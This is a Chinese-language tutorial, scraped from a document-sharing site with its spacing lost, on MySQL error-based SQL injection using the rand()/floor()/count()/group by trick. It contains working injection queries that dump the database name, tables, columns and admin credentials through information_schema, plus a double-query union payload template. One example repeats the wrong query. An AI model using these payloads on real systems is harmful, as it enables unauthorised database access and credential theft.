资源描述:
《mysql报错注入》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库。
1、Mysql 报错注入SQL注入获取数据库数据,利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入,通常这些方法都是基于SELECT查询语句中的SQL注射点来实现的。如果涉及非SELECT查询的注入,我们通常用到的就是mysql注入查询创建一个test表USEtest;CREATETABLEtest(numint(5));INSERTINTOtestVALUES(1);INSERTINTOtestVALUES(2);INSERTINTOtestVALUES(3);INSERTINTOtestVALUES(4);SELECT*F
2、ROMtest;复制代码主要涉及的mysql函数语句:1.Rand()#随机函数2.Floor()#取整函数3.CONUNT()#汇总函数4.Groupby#分组语句复制代码原理:当在一个聚合函数,比如CONUNT函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来--源于安全研究人员20/20简单的例子:usetest;复制代码然后简单看一下CONCAT的用法SELECTCONCAT("a","b");复制代码查询什么就出来什么,下面分别看一下其它几个函数的作用SELECTrand();复制代码Rand()函数,学过编程
3、的人都应该知道是一个产生随机数的函数范围在(0,1)之间的浮点数再看看floor()函数SELECTfloor(3.141216545);复制代码20/20显而易见,是一个取整的函数SELECTfloor(rand()*2);复制代码Rand()的范围是(0,1)*2==>(0,2)那么floor(rand()*2)取整后就是0和1两个数SELECTCONCAT((SELECTdatabase()),floor(rand()*2));复制代码如果我们将上面那句加上from某个表,就会返回test0和test1的集合,返回的长度有表的
4、记录数决定,例如我们from一下test表。返回了4行数据那么,我们如何过滤掉这些重复的信息呢?20/20这里就要用到groupby语句,groupby的作用是:用于结合合计函数,根据一个或多个列对结果集进行分组。我们来查询一下SELECTCONCAT((SELECTdatabase()),floor(rand()*2))asafromtestgroupbya;复制代码这样就不会有那么多无用的信息简单解释一下语句:CONCAT((SELECTdatabase()),floor(rand()*2))asa这个就是将列名重命名为a,看图
5、对比一下即可知道Groupbya就是将根据a这个列的数据,将查询出来相同的数据分到一个组里面,因此我们看到的数据就只有两个不同的同理,我们可以将database()换成其它你想要查询的东西,如version(),@@data等。而我们注入的时候通常是通过mysql的information_schema这个数据库来查询信息,查询数据名就查询schemata的SCHEMA_NAME这个列暴库select*frominformation_schema.schemata;复制代码里面就是我的数据名字20/20爆表SELECTDISTINCT
6、TABLE_NAMEFROMinformation_schema.tables;复制代码爆列名SELECTDISTINCTTABLE_NAMEFROMinformation_schema.tables;复制代码太长了我就不截图了,自己去看看吧爆字段就更简单了直接查询就是SELECTusername,passwordFROMadmin;复制代码假如存在这列名和表知道这些后我们利用报错注入就可以,查询到我们想要的数据了selectcount(*),concat((selectversion()),floor(rand()*2))asaf
7、rominformation_schema.tablesgroupbya;复制代码20/20为了好看你可以加一些标记selectcount(*),concat('--',(selectuser()),'--',floor(rand()*2))asafrominformation_schema.tablesgroupbya;复制代码更加高级的一点的就是,我们真正用到的双注入查询,是select的嵌套子查询,就是select里面还有一个select查询语句通常是一种固定的格式,适用于没有回现位置和不能orderby确定的注入unions
8、elect1from(select+count(*),concat(floor(rand(0)*2),(注入爆数据语句))afrominformation_schema.tablesgroupbya)b蓝色部分就是我们之前讲的基本报错